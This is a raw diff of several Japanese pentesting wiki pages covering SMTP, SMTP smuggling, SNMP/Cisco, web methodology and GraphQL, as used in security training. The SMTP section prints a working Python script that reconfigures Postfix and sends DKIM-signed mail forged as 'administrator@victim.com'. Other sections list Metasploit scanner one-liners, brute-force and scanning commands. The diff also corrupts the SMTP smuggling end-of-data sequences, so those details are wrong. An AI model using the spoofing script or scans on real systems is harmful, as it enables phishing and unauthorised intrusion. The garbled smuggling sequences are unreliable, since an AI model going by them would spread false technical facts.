dkim.sign(message=msg\_data,selector=str(dkim\_selector).encode(),domain=sender\_domain.encode(),privkey=dkim\_private\_key.encode(),include\_headers=headers)msg\["DKIM-Signature"] = sig\[len("DKIM-Signature: ") :].decode()msg\_data = msg.as\_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, \[destination], msg\_data)
{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
{% endtab %}
{% endtabs %}
### **詳細情報**
#### **詳細情報**
**これらの保護に関する詳細情報は、**[**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で見つけることができます。**
### **その他のフィッシング指標**
#### **その他のフィッシング指標**
* ドメインの年齢
* IPアドレスを指すリンク
@ -524,27 +479,30 @@ s.sendmail(sender, [destination], msg_data)
* 有効で信頼されたSSL証明書の存在
* ページのWebコンテンツフィルタリングサイトへの提出
## SMTPを介した情報の持ち出し
### SMTPを介した情報の持ち出し
**SMTPを介してデータを送信できる場合は、**[**こちらを参照してください**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
## 設定ファイル
### 設定ファイル
### Postfix
#### Postfix
通常、インストールされている場合、`/etc/postfix/master.cf`には、例えば新しいメールがユーザーによって受信されたときに実行される**スクリプト**が含まれています。たとえば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`という行は、ユーザーmarkが新しいメールを受信した場合に`/etc/postfix/filtering`が実行されることを意味します。
その他の設定ファイル:
```
sendmail.cf
submit.cf
```
## 参考文献
### 参考文献
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
## HackTricks Automatic Commands
### HackTricks Automatic Commands
```
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
@ -595,22 +553,9 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
```
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイテーションモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -1,4 +1,4 @@
# SMTPスマグリング
# SMTP Smuggling
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
- **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
@ -29,20 +29,20 @@ HackTricksをサポートする他の方法
この脆弱性を悪用するには、攻撃者は**アウトバウンドSMTPサーバーが1つの電子メールだと思うデータを送信する必要があり、インバウンドSMTPサーバーは複数の電子メールがあると考える必要があります**。
研究者たちは、**インバウンドサーバーが電子メールメッセージのデータの終わりとして異なる文字を考慮していることを発見しました**。\
たとえば、通常のデータの終わりは`\r\n.\r\n`です。しかし、インバウンドSMTPサーバーが`\n.\n`もサポートしている場合、攻撃者は単に**そのデータを電子メールに追加し、新しいSMTPコマンドを示す**ことで、前述の画像のようにそれを密輸することができます。
たとえば、通常のデータの終わりは`\r\n.\r`です。しかし、インバウンドSMTPサーバーが`\n.`もサポートしている場合、攻撃者は単に**そのデータを電子メールに追加し、新しいSMTPコマンドを示す**ことで、前述の画像のようにそれを密輸することができます。
もちろん、これは、**アウトバウンドSMTPサーバーもこのデータをメッセージデータの終わりとして扱わない**場合にのみ機能します。そうでない場合、1つではなく2つの電子メールが表示されるため、最終的にはこの脆弱性で悪用されているデシンクロナイゼーションです。
潜在的なデシンクロナイゼーションデータ:
- `\n.\n`
- `\n.\r\n`
* `\n.`
* `\n.\r`
また、SPFがバイパスされることに注意してください。`admin@outlook.com`から`user@outlook.com`の電子メールを密輸すると、**送信者は依然として`outlook.com`です**。
## **参考文献**
- [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
<details>
@ -50,10 +50,10 @@ HackTricksをサポートする他の方法
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
- **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>

View file

@ -23,33 +23,37 @@
**SNMP**は、一般メッセージ用の161/UDPポートとトラップメッセージ用の162/UDPポートを介してUDP上で機能します。このプロトコルはコミュニティ文字列に依存し、SNMPエージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列は、アクセスレベル、特に**読み取り専用ROまたは読み書き可能RW権限**を決定するために重要です。ペンテスターの注目すべき攻撃ベクトルは、ネットワークデバイスに浸透することを目的とした**コミュニティ文字列の総当たり攻撃**です。
このような総当たり攻撃を実行するための実用的なツールは、[**onesixtyone**](https://github.com/trailofbits/onesixtyone)です。このツールには、潜在的なコミュニティ文字列のリストとターゲットのIPアドレスが必要です。
```bash
onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
Metasploitフレームワークには`cisco_config_tftp`モジュールがあり、RWコミュニティ文字列を取得した場合にデバイス構成を抽出することができます。この操作には次の重要なパラメータが必要です
- RWコミュニティ文字列**COMMUNITY**
- 攻撃者のIP**LHOST**
- ターゲットデバイスのIP**RHOSTS**
- 構成ファイルの出力先パス(**OUTPUTDIR**
* RWコミュニティ文字列**COMMUNITY**
* 攻撃者のIP**LHOST**
* ターゲットデバイスのIP**RHOSTS**
* 構成ファイルの出力先パス(**OUTPUTDIR**
このモジュールを構成すると、デバイス設定を指定したフォルダに直接ダウンロードできます。
#### `snmp_enum`
別のMetasploitモジュール、**`snmp_enum`**は、詳細なハードウェア情報を収集することに特化しています。どちらのタイプのコミュニティ文字列でも動作し、成功するためにはターゲットのIPアドレスが必要です。
別のMetasploitモジュール、\*\*`snmp_enum`\*\*は、詳細なハードウェア情報を収集することに特化しています。どちらのタイプのコミュニティ文字列でも動作し、成功するためにはターゲットのIPアドレスが必要です。
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
```
## 参考文献
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**_流暢なポーランド語の読み書きが必要です_

View file

@ -1,4 +1,4 @@
# 80,443 - ウェブメソッドペンテスト
# 80,443 - Pentesting Web Methodology
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>
@ -25,6 +25,7 @@ HackTricksをサポートする他の方法
ウェブサービスは最も**一般的で広範なサービス**であり、**さまざまな種類の脆弱性**が存在します。
**デフォルトポート:** 80HTTP、443HTTPS
```bash
PORT STATE SERVICE
80/tcp open http
@ -35,6 +36,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Web API ガイダンス
{% content-ref url="web-api-pentesting.md" %}
@ -58,7 +60,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] **バックアップの確認**: 一般的なバックアップ拡張子を追加して、**発見されたファイルのバックアップ**を見つけることができるかテストします。
* [ ] **パラメータのブルートフォース**: **隠されたパラメータ**を見つけようとします。
* [ ] すべての**ユーザー入力**を受け入れる**可能性のあるエンドポイント**を**特定**したら、それに関連する**脆弱性**をすべてチェックします。
* [ ] [このチェックリストに従います](../../pentesting-web/web-vulnerabilities-methodology/)
* [ ] [このチェックリストに従います](../../pentesting-web/web-vulnerabilities-methodology.md)
## サーバーバージョン(脆弱性あり?)
@ -66,12 +68,14 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
実行されているサーバーバージョンに**既知の脆弱性**があるかどうかを確認します。\
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立つ可能性があります。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)**、**[**https://builtwith.com/**](https://builtwith.com)**のツールも役立つかもしれません。**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
**Webアプリケーションの脆弱性** **バージョン**を検索
### **WAFの有無を確認**
@ -97,7 +101,7 @@ webanalyze -host https://google.com -crawl 2
* [**H2 - Java SQL database**](h2-java-sql-database.md)
* [**IIS tricks**](iis-internet-information-services.md)
* [**JBOSS**](jboss.md)
* [**Jenkins**](broken-reference/)
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/pentesting-web/broken-reference/README.md)
* [**Jira**](jira.md)
* [**Joomla**](joomla.md)
* [**JSP**](jsp.md)
@ -108,7 +112,7 @@ webanalyze -host https://google.com -crawl 2
* [**Python**](python.md)
* [**Spring Actuators**](spring-actuators.md)
* [**Symphony**](symphony.md)
* [**Tomcat**](tomcat.md)
* [**Tomcat**](tomcat/)
* [**VMWare**](vmware-esx-vcenter....md)
* [**Web API Pentesting**](web-api-pentesting.md)
* [**WebDav**](put-method-webdav.md)
@ -137,6 +141,7 @@ Webアプリケーションが以前にリストされた**技術/プラット
### 自動スキャナー
#### 一般的な目的の自動スキャナー
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -148,21 +153,24 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMSスキャナー
CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。おそらく興味深い情報が見つかるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**、ColdFusion、WebLogic**、[**Tomcat**](tomcat.md)**、Railo、Axis2、Glassfish**\
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**、ColdFusion、WebLogic**、[**Tomcat**](tomcat/)**、Railo、Axis2、Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md)、[**Drupal**](drupal.md)、**Joomla**、**vBulletin**のウェブサイトのセキュリティ問題をスキャンしますGUI\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**、**[**Wordpress**](wordpress.md)**、**[**Drupal**](drupal.md)**、PrestaShop、Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**、**[**(J)oomla**](joomla.md)**、**[**(D)rupal**](drupal.md)**、**[**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**、**[**Joomla**](joomla.md)**、**[**Moodle**](moodle.md)**、Silverstripe**、[**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> この時点で、クライアントが使用しているWebサーバーに関する情報がすでにいくつかあるはずですデータが提供されている場合、およびテスト中に心に留めておくべきいくつかのトリックがあります。運が良ければ、CMSを見つけてスキャナーを実行しているかもしれません。
## ステップバイステップのWebアプリケーションの発見
@ -184,7 +192,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Webサーバーは、奇妙なデータが送信されると予期しない動作をする可能性があります。これにより、**脆弱性**が公開されたり、**機密情報**が漏洩したりする可能性があります。
* /whatever_fake.php (.aspx、.html、など) のような**偽のページ**にアクセス
* /whatever\_fake.php (.aspx、.html、など) のような**偽のページ**にアクセス
* **クッキー値**や**パラメータ**値に "\[]", "]]", および "\[\[" を追加してエラーを発生させる
* URLの**末尾**に **`/~randomthing/%s`** として入力してエラーを生成する
* PATCH、DEBUGなどの**異なるHTTP動詞**を試してみる
@ -202,6 +210,7 @@ Webサーバーは、奇妙なデータが送信されると予期しない動
* アプリケーションがHTTPを使用して**機密データ(パスワード)を送信**している場合、高い脆弱性です。
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックしますBug Bountyプログラムではおそらくこの種の脆弱性は受け入れられないそして[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再チェックします:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -210,6 +219,7 @@ Webサーバーは、奇妙なデータが送信されると予期しない動
sslscan <host:port>
sslyze --regular <ip:port>
```
SSL/TLSの脆弱性に関する情報
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
@ -285,7 +295,7 @@ _ブルートフォースやスパイダリング中に新しいディレクト
* [**リンク切れチェッカー**](https://github.com/stevenvachon/broken-link-checker): HTML内のリンク切れを見つけ、乗っ取りの可能性があるものを特定します。
* **ファイルのバックアップ**: すべての実行可能ファイル("_.php_"、"_.aspx_"など)のバックアップを探します。バックアップの一般的な変種は次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ [**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使用することもできます。
* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **などのツールを使用して、隠されたパラメータを発見します。可能であれば、各実行可能Webファイルで隠されたパラメータを検索してみてください。_
* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) \*\*などのツールを使用して、隠されたパラメータを発見します。可能であれば、各実行可能Webファイルで隠されたパラメータを検索してみてください。\_
* _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-minerの“params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnoteの“parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@ -323,7 +333,7 @@ _ブルートフォースやスパイダリング中に新しいディレクト
**502 Proxy Error**
そのコードで応答するページがある場合、おそらく**構成が誤っているプロキシ**です。`GET https://google.com HTTP/1.1`ホストヘッダーと他の一般的なヘッダーを含むのようなHTTPリクエストを送信すると、**プロキシ**は_google.com_ にアクセスしようとし、**SSRF**を見つけることができます。
そのコードで応答するページがある場合、おそらく**構成が誤っているプロキシ**です。`GET https://google.com HTTP/1.1`ホストヘッダーと他の一般的なヘッダーを含むのようなHTTPリクエストを送信すると、**プロキシ**は\_google.com\_ にアクセスしようとし、**SSRF**を見つけることができます。
**NTLM認証 - 情報漏洩**
@ -334,12 +344,13 @@ _ブルートフォースやスパイダリング中に新しいディレクト
**HTTPリダイレクトCTF**
**リダイレクト**内に**コンテンツ**を配置することができます。このコンテンツはユーザーには表示されません(ブラウザがリダイレクトを実行するため)、しかし何かが**隠されている**可能性があります。
### Web脆弱性のチェック
Webアプリケーションの包括的な列挙が完了したので、さまざまな脆弱性をチェックする時が来ました。チェックリストはこちらで見つけることができます:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %}
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
{% endcontent-ref %}
Web脆弱性に関する詳細情報は以下で確認できます:
@ -352,13 +363,14 @@ Web脆弱性に関する詳細情報は以下で確認できます:
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)などのツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
**ハッキングのキャリア**に興味がある方や、ハッキングできないものをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
{% embed url="https://www.stmcyber.com/careers" %}
### HackTricks Automatic Commands
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.
@ -428,6 +440,7 @@ Name: Ffuf Vhost
Description: Simple Scan with Ffuf for discovering additional vhosts
Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
```
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
@ -437,7 +450,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に**参加**するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*してください。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)****[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
</details>
@ -26,14 +26,14 @@ GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ
公開されたGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されます。これらのパスは次のとおりです
- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`
* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`
